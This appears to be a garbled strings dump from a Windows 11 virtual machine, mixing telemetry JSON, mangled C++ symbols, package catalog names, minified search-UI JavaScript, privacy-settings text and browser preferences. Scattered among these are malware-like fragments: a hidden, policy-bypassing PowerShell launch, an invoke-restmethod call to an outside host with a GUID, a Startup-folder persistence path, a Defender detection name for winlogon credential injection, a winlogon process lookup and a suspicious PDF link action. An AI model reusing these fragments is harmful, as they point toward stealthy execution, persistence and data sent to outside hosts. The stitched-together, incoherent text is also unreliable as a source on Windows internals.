Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939766015979,"MaxEventTime":134163939766015979,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataTypeHelperUtil.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[117,124,28,235,213,46,240,25,31,77,179,112,59,146,239,194,166,119,224,211],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"CommsTypeHelperUtil.dll","InternalName":"CommsTypeHelperUtil","FileDescription":"Type Utilities for data access","ProductName":"Microsoft
 Windows
 Operating System","FileVersion":2814751477598042,"TimeDateStamp":3421892540,"SACPolicyGuidID":"1283AC0F-FFF1-49AE-ADA1-8A933130CAD6","PolicyName":"25979.1000.20231018","PolicyID":"VerifiedAndReputableDesktopEvaluation","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
.?AV<lambda_1>@?1??GetIdentityPropertyValueForUserAsync@?QIUserAuthenticationManager@Authentication@Cortana@@SearchApiUserAuthenticationManager@34@UE$AAAPE$AAU?$IAsyncOperation@PE$AAVString@Platform@@@Foundation@Windows@@W4IdentityProp@34@_NPE$AAVString@Platform@@@Z@
.?AV<lambda_1>@?1??FindConnectedAccountAsync@?QIUserAuthenticationManager@Authentication@Cortana@@SearchApiUserAuthenticationManager@34@UE$AAAPE$AAU?$IAsyncOperation@PE$AAVWebAccount@Credentials@Security@Windows@@@Foundation@Windows@@XZ@
.?AV<lambda_1>@?1???$_MakeTToUnitFunc@V?$task@PE$AAVWebAccount@Credentials@Security@Windows@@@Concurrency@@@details@Concurrency@@YA?AV?$function@$$A6AEV?$task@PE$AAVWebAccount@Credentials@Security@Windows@@@Concurrency@@@Z@std@@AEBV?$function@$$A6AXV?$task@PE$AAVWebAccount@Credentials@Security@Windows@@@Concurrency@@@Z@4@@Z@
.?AV<lambda_2>@?1??GetIdentityPropertyValueForUserAsync@?QIUserAuthenticationManager@Authentication@Cortana@@SearchApiUserAuthenticationManager@34@UE$AAAPE$AAU?$IAsyncOperation@PE$AAVString@Platform@@@Foundation@Windows@@W4IdentityProp@34@_NPE$AAVString@Platform@@@Z@
.?AV<lambda_2>@?1??FindConnectedAccountAsync@?QIUserAuthenticationManager@Authentication@Cortana@@SearchApiUserAuthenticationManager@34@UE$AAAPE$AAU?$IAsyncOperation@PE$AAVWebAccount@Credentials@Security@Windows@@@Foundation@Windows@@XZ@
.?AV<lambda_1>@?1??_OnStart@?Q?$_AsyncInfoBase@U?$_AsyncAttributes@XPE$AAVString@Platform@@U?$_TaskTypeTraits@V?$task@PE$AAVString@Platform@@@Concurrency@@$0A@@details@Concurrency@@$0A@$0A@@details@Concurrency@@$00@details@Concurrency@@?$_AsyncTaskGeneratorThunk@V<lambda_2>@?1??GetIdentityPropertyValueForUserAsync@?QIUserAuthenticationManager@Authentication@Cortana@@SearchApiUserAuthenticationManager@45@UE$AAAPE$AAU?$IAsyncOperation@PE$AAVString@Platform@@@Foundation@Windows@
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
wodhzb.dllc:\windows\system32\
windows defender sucksw
!C:\WINDOWS\system32\SearchIndexer.exe /EmbeddingH
!C:\WINDOWS\system32\SearchIndexer.exe
DriverData=C:\Windows\System32\
1*windowspowershelltranscriptstart
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Data.h
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Input.h
windowsondevices.com^Microsoft
4pps\Microsoft.WindowsAppRuntime.CBS_8wekyb3d8bbweR
windowsbackup
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
VCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-SecureStartup-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-CoreSystem-International-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
Microsoft-Windows-Kernel-Package-DriverVerifier-Tools-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
Software\Microsoft\Windows\repeopling\Uninstall\inattentivenesses\homothermS
windows.protocol
windows.fileTypeAssociation
windows.backgroundTasks
windows.preInstalledConfigTask
windows.updateTask
windows.shareTarget
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.appExtension
windows.appExtensionHost
windows.appExecutionAlias
windows.comServer
windows.protocol
windows.protocol
windows.protocol
windows.fileExplorerContextMenus
windows.comServer
windows.comInterface
windows.appExtension
windows.appExtension
windows.startupTask
windows.appExtensionHost
windows.appExecutionAlias
windows.comServer
windows.appExtension
windows.appService
windows.appService
windows.fullTrustProcess
windows.personalAssistantLaunch
windows.appService
windows.appService
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.updateTask
windows.preInstalledConfigTask
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.fileTypeAssociation
windows.appExtension
windows.appExecutionAlias
windows.updateTask
windows.protocol
windows.preInstalledConfigTask
windows.backgroundTasks
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.protocol
windows.comServer
windows.updateTask
windows.shareTarget
windows.protocol
windows.protocol
windows.protocol
windows.fileTypeAssociation
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.appService
windows.appService
windows.appService
windows.protocol
windows.protocol
windows.protocol
windows.appExtension
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.fileTypeAssociation
windows.autoPlayContent
windows.appExecutionAlias
windows.updateTask
windows.shareTarget
windows.protocol
windows.protocol
windows.preInstalledConfigTask
windows.backgroundTasks
windows.protocol
windows.webAccountProvider
windows.protocol
windows.fileOpenPicker
windows.protocol
windows.protocol
windows.appExtension
windows.protocol
windows.
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.protocol
windows.desktopAppMigration
windows.comServer
windows.comInterface
windows.appUriHandler
windows.appExecutionAlias
windows.appExtension
windows.appExtension
windows.appExtension
windows.activatableClass.outOfProcessServer
windows.protocol
windows.comServer
windows.appExtension
windows.appExtension
windows.appExtension
windows.appExtension
windows.activatableClass.outOfProcessServer
windows.appExtension
windows.hlp`
Jc:\windows\system32\cmd.exe/cstarthttp://internet-start.net/?utm_source=beatle&utm_medium=icon&utm_campaign=pin
obj<</a<</s/uri/type/action/uri(https://bbempresas.z15.web.core.windows.net/?
powershell.exe""-windowstylehidden-executionpolicybypass-file
invoke-restmethod-uri"http://xboxwindows.com/api/v1/$($guid)"
Or6appdata%\microsoft\windows\startmenu\programs\startup\
hklm\software\microsoft\windows\currentversion
c:\windows\system32\cmd.exe/cstart
!#SCRIPT:PsCredInject.A!ExistingWinLogon
$winlogonprocessid=(get-process-name"winlogon")[0].id
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
ler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_3>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_3>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_2>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_2>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_2>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_1>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_1>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_1>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$EventHandler@UScrollViewerViewChangingEventArgs@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_3>@?5??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AUtype@?$abi@U?$EventHandler@UScrollViewerViewChangingEventArgs@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$EventHandler@UScrollViewerViewChangingEventArgs@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@V<lambda_3>@?5??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_3>@?5??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@UPointerEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_2>@?4??Connect@?$SettingsPageT@USettingsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@Tx
act.createElement(React.Fragment,null,React.createElement(t.Icon,{icon:f}),r&&React.createElement("div",{className:"scope-tile__title"},r))}const i=t=>{let u=n.ScopeConfig[t],i=n.getScopeDisplayName(u),r;return r=t==n.Scope.All?i.toLowerCase()==="windows"?"AddingDMAWindowsScopeNarratorText":"AddingScopeNarratorTextAll2":"AddingScopeNarratorText",n.Host.getLocString(r,i)};t.ScopeItem=r;t.ScopeItemV2=React.memo(({scope:e,firstAndLastScopes:u,scopesLeftCaretBtnReset:o,scopesRightCaretBtnReset:s,dynamicStyleSizeBigger:r})=>{const a=e.enabled&&!n.config.useCobaltCSS,v=e.enabled&&n.RuntimeConfig.AlwaysWide&&!!n.config.useCobaltCSS,h=!n.RuntimeConfig.AlwaysWide&&!!n.config.useCobaltCSS,l=n.isWin11AlwaysWide(),[y,c]=React.useState(!0),p=n.config.useCobaltCSS&&(e.type===(u===null||u===void 0?void 0:u.firstScope)||(u===null||u===void 0?void 0:u.lastScope)),w=n=>{n===(u===null||u===void 0?void 0:u.firstScope)?o===null||o===void 0?void 0:o():n===(u===null||u===void 0?void 0:u.lastScope)&&(s===null||s===void 0?void 0:s());return};return React.createElement("li",{className:t.classNames({singlePaneTooltip:h},{MouseHoverTooltip:n.config.enableScopeHoverTooltip}),style:(r===null||r===void 0?void 0:r.scopeMinwidth)&&{minWidth:r===null||r===void 0?void 0:r.scopeMinwidth},role:l?"listitem":"presentation","data-tooltip":n.config.enableScopeHoverTooltip?i(e.type):undefined},React.createElement("a",{className:t.classNames("scope-tile",{focusable:!n.config.skipSelectedScope||!e.enabled},{"scope-tile--selected":e.enabled},{bottomPill:a||v},{"scope-tile--left":!!n.config.useCobaltCSS},{win11SinglePane:h&&(e===null||e===void 0?void 0:e.enabled)},{scopeItemHoverNoChangeColor:h&&(e===null||e===void 0?void 0:e.enabled)&&n.config.scopeItemHoverNoChangeColor}),style:(r===null||r===void 0?void 0:r.scopePadding)&&{padding:r===null||r===void 0?void 0:r.scopePadding},"data-partnertag":t.whenTestHooks("AutoSuggest.ScopesL1.ScopeTile"),href:"#",onMouseDown:n=>n.preventDefault(),onClick:t=>{t.currentTarget.focus(),n.invokeClickHandler(e.click,t.nativeEvent)},onFocus:()=>{p?w(e.type):null,n.config.wsbWebView2?c(!1):null},onBlur:()=>{n.config.wsbWebView2?c(!0):null},onMouseEnter:()=>{n.config.enableScopeHoverTooltip?c(!1):null},onMouseLeave:()=>{n.config.enableScopeHoverTooltip?c(!0):null},role:e.enabled&&n.shouldSkipSelectedScope()?"":l?"button":"tab","aria-selected":e.enabled?"true":"false",title:y?e.tooltip:"","aria-label":e.text,id:e.id,tabIndex:-1},React.createElement(f,{scope:e,isWin11SinglePane:h})))},(t,i)=>n.shouldFuncComponentUpdateOverload(t,i));const f=React.memo(({scope:i,isWin11SinglePane:n})=>{const{enabled:u,icon:f,text:r}=i;return n?React.createElement("div",{className:`scope-tile__iconTitleContainer${u?"--selected":""}`,"data-partnertag":t.whenTestHooks("AutoSuggest.Win11SinglePane")},React.createElement(t.Icon,{icon:f}),u&&r&&React.createElement("div",{className:"scope-tile__title","data-partnertag":t.whenTestHooks("AutoSuggest.scopeTileText")},r)):React.createElement(React.Fragment,null,React.createElement(t.Icon,{icon:f}),r&&React.createElement("div",{className:"scope-tile__title"},r))},(t,i)=>n.shouldFuncComponentUpdateOverload(t,i))})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){function i({showFeedback:r,id:i}){return React.createElement("li",{role:"presentation",className:t.classNames("rightHeaderButtons",{MouseHoverTooltip:n.config.enableScopeHoverTooltip}),"data-tooltip":n.config.enableScopeHoverTooltip?t.getLocString("FeedbackButtonToolTip"):undefined},React.createElement("a",{className:"scope-tile focusable",onClick:t=>n.invokeClickHandler(r,t.nativeEvent),role:"button","aria-label":t.getLocString("FeedbackButtonText"),title:t.getLocString("FeedbackButtonToolTip"),tabIndex:-1,"data-partnertag":t.whenTestHooks("AutoSuggest.FeedbackLink"),id:i},n.config.feedbackButtonIcon?React.createElement("span",{className:"scope-tile__button"},React.createElement(t.Icon,{icon:{content:n.config.feedbackButtonIcon,type:2}})):React.createElement("div",{className:"scope-tile__title"},t.getLocString("FeedbackButtonText"))))}t.F,f=React.memo(({id:e,selected:s,clickHandler:i,label:o,icon:r,iconComponent:u,iconComponentProps:f})=>{const c=n.isWin11AlwaysWide(),h=c?"button":"tab";return React.createElement("li",{role:c?"listitem":"presentation",className:t.classNames({MouseHoverTooltip:n.config.enableScopeHoverTooltip}),"data-tooltip":n.config.enableScopeHoverTooltip?o:undefined},React.createElement("a",Object.assign({className:t.classNames("scope-tile",{focusable:!n.config.skipSelectedScope},{"scope-tile--selected bottomPill":s},{"scope-tile--left":n.config.useCobaltCSS}),"data-partnertag":t.whenTestHooks("AutoSuggest.ScopesL1.ScopeTile"),href:"#",onClick:t=>n.invokeClickHandler(i,t.nativeEvent),onMouseEnter:n.config.enableScopeHoverTooltip?()=>n.hoveredToolTipHandler(`#${e}`,"title",o):undefined,onMouseLeave:n.config.enableScopeHoverTooltip?()=>n.hoveredToolTipHandler(`#${e}`,"title",o):undefined,role:h},n.config.narrtorScopeSelectedFix&&h=="button"?{"aria-pressed":s}:{},n.config.narrtorScopeSelectedFix&&h=="tab"?{"aria-selected":s}:{},n.config.narrtorScopeSelectedFix?{}:{"aria-selected":s},{"aria-label":o,title:o,id:e,tabIndex:-1,"aria-describedby":n.config.narrtorMessageReadFix&&s?"search-description":""}),React.createElement("div",{className:"scope-tile__title scope-tile-toggle__title"},r&&React.createElement(t.Icon,{icon:r}),u&&React.createElement(n.View[u],Object.assign({},f.props)),React.createElement("div",{className:"scope-tile__label"},o))))},(t,i)=>n.shouldFuncComponentUpdateBySomeAttr(t,i,["selected"]))})(t=n.View||(n.View={}))}(WSB||(WSB={})),function(n){var t;(function(t){function r({scope:e,firstAndLastScopes:f,scopesLeftCaretBtnReset:o,scopesRightCaretBtnReset:s,dynamicStyleSizeBigger:r}){const a=e.enabled&&!n.config.useCobaltCSS,v=e.enabled&&n.RuntimeConfig.AlwaysWide&&n.config.useCobaltCSS,h=!n.RuntimeConfig.AlwaysWide&&n.config.useCobaltCSS,l=n.isWin11AlwaysWide(),[y,c]=React.useState(!0),p=n.config.useCobaltCSS&&(e.type===(f===null||f===void 0?void 0:f.firstScope)||(f===null||f===void 0?void 0:f.lastScope)),w=n=>{n===(f===null||f===void 0?void 0:f.firstScope)?o():n===(f===null||f===void 0?void 0:f.lastScope)&&s();return};return React.createElement("li",{className:t.classNames({singlePaneTooltip:h},{MouseHoverTooltip:n.config.enableScopeHoverTooltip}),style:(r===null||r===void 0?void 0:r.scopeMinwidth)&&{minWidth:r===null||r===void 0?void 0:r.scopeMinwidth},role:l?"listitem":"presentation","data-tooltip":n.config.enableScopeHoverTooltip?n.isSupportWebResultsInAllScopeInDMAEnabled()?e.tooltip:i(e.type):undefined},React.createElement("a",{className:t.classNames("scope-tile",{focusable:!n.config.skipSelectedScope||!e.enabled},{"scope-tile--selected":e.enabled},{bottomPill:a||v},{"scope-tile--left":n.config.useCobaltCSS},{win11SinglePane:h&&(e===null||e===void 0?void 0:e.enabled)},{scopeItemHoverNoChangeColor:h&&(e===null||e===void 0?void 0:e.enabled)&&n.config.scopeItemHoverNoChangeColor}),style:(r===null||r===void 0?void 0:r.scopePadding)&&{padding:r===null||r===void 0?void 0:r.scopePadding},"data-partnertag":t.whenTestHooks("AutoSuggest.ScopesL1.ScopeTile"),href:"#",onMouseDown:n=>n.preventDefault(),onClick:t=>{t.currentTarget.focus(),n.invokeClickHandler(e.click,t.nativeEvent)},onFocus:()=>{p?w(e.type):null,n.config.wsbWebView2?c(!1):null},onBlur:()=>{n.config.wsbWebView2?c(!0):null},onMouseEnter:()=>{n.config.enableScopeHoverTooltip?c(!1):null},onMouseLeave:()=>{n.config.enableScopeHoverTooltip?c(!0):null},role:e.enabled&&n.shouldSkipSelectedScope()?"":l?"button":"tab","aria-selected":e.enabled?"true":"false",title:y?e.tooltip:"","aria-label":e.text,id:e.id,tabIndex:-1},React.createElement(u,{scope:e,isWin11SinglePane:h})))}function u({scope:i,isWin11SinglePane:n}){const{enabled:u,icon:f,text:r}=i;return n?React.createElement("div",{className:`scope-tile__iconTitleContainer${u?"--selected":""}`,"data-partnertag":t.whenTestHooks("AutoSuggest.Win11SinglePane")},React.createElement(t.Icon,{icon:f}),u&&r&&React.createElement("div",{className:"scope-tile__title","data-partnertag":t.whenTestHooks("AutoSuggest.scopeTileText")},r)):Relorer\main
c:\windows\fonts\copy
c:\windows\fonts\copy
WindowsForms10.EDIT.app.0.129c866_r7_ad1
Windows.UI.Composition.DesktopWindowContentBridge
Windows.UI.Input.InputSite.WindowClass
C:\WINDOWS\SYSTEM
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
windir=C:\WINDOWS
Windows data will not be used to personalise tips, recommendations, and offers.
Get personalised offers from Windows
Let Windows use info about your device and how you use it
to enhance your Windows experience by offering you personalised tips, ads and recommendations.
You will get generic tips, ads, and recommendations from Windows.
Get location-based experiences like directions and weather. Let Windows and apps request your location and allow Microsoft to use your location data to improve location services.
Get location-based experiences like directions and weather. Let Windows & apps request your location. Microsoft will use location data to improve location services.
Send optional inking and typing diagnostic data to Microsoft to improve the language recognition and suggestion capabilities of apps and services running on Windows.
Don't use my diagnostic data to help improve the language recognition and suggestion capabilities of apps and services running on Windows.
Your PC has a presence sensor that can detect when you are near or away. Windows will use your PC's presence sensors to automatically turn off your screen when you leave or wake your PC when you approach. Apps can request access to your presence to enable novel experiences. You can turn this off at any time in Settings. Presence sensor data is processed locally on-device.
Windows will not use your PC's presence sensors to automatically turn off your screen when you leave or wake your PC when you approach. Apps that require access to presence sensors won't work.
Turn on Find my device and use your device's location data to help you find your device if you lose it. You must sign in to Windows with your Microsoft account to use this feature.
Windows won't be able to help you keep track of your device if you lose it.
Microsoft collects info about your device, its settings and capabilities, and whether it's performing properly. Required diagnostic data is the minimum level of diagnostic data needed to help keep your device reliable, secure, operating normally, and to make related improvements to Windows.
Windows.
Ehttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
{"aadc_info":{"age_group":3},"accessibility":{"captions":{"headless_caption_enabled":false}},"account_tracker_service_last_update":"13416393536690210","alternate_error_pages":{"backup":true},"autocomplete":{"retention_policy_last_version":145},"autofill":{"edge_autofill_advanced_ml_enabled":false,"edge_autofill_purge_low_quality_profiles_by_timeline":false,"last_version_deduped":145},"bookmark":{"storage_computation_last_update":"13416393536310179"},"browser":{"available_dark_theme_options":"All","recent_theme_color_list":[4293914607.0,4293914607.0,4293914607.0,4293914607.0,4293914607.0],"user_level_features_context":{}},"browser_content_container_height":0,"browser_content_container_width":0,"browser_content_container_x":0,"browser_content_container_y":0,"commerce_daily_metrics_last_update_time":"13416393536310071","countryid_at_install":17224,"credentials_enable_service":false,"download":{"default_directory":"C:\\Users\\job\\AppData\\Local\\Packages\\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\\AC\\Temp\\WebView2Downloads","directory_upgrade":true},"edge":{"bookmarks":{"last_dup_info_record_time":"13416393582899251"},"msa_sso_info":{"allow_for_non_msa_profile":true},"profile_sso_info":{"is_msa_first_profile":true,"msa_sso_algo_state":1},"services":{"signin_scoped_device_id":"25d75898-2232-41e5-9294-82f9195b701f"}},"edge_journeys":{"latest_journeys_count":0},"edge_pinning_campaign":{"precomputed_campaign_data":{}},"edge_rewards":{"cache_data":"CAA=","coachmark_promotions":{},"hva_promotions":[],"hva_webui_action_status_dict":{},"refresh_status_muted_until":"13416682446897993"},"edge_ux_config":{"assignmentcontext":"","dataversion":"0","experimentvariables":{},"flights":{}},"